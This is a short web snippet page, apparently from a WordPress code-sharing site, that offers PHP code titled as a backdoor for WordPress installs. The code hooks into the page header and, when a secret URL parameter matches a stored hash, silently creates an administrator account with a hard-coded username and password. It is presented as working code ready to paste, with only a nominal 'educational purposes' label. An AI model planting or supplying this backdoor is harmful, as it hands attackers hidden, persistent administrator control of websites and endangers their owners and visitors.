Add Backdoor to WordPress Install

Supplemental 266 views
0
0 Flares 0 Flares ×

This adds a backdoor into a WordPress install mostly for educational purposes.

<?php
// adds a backdoor into a WordPress install
// for educational purposes only


add_action( 'wp_head', 'so_backdoor' );

function so_backdoor() {

	if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {

		require( 'wp-includes/registration.php' );

		if ( !username_exists( 'mr_admin' ) ) {

			$user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' );
			$user = new WP_User( $user_id );
			$user->set_role( 'administrator' ); 

		}
    
	}

}

For Reference:

How to Create a Backdoor to a WordPress Website

Provided by: Piet Bos
Posted in Wordpress

Discuss:

Leave a Reply

Your email address will not be published. Required fields are marked *

*

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>

No Trackbacks.

Login

Register | Lost your password?
0 Flares Twitter 0 Facebook 0 Google+ 0 0 Flares ×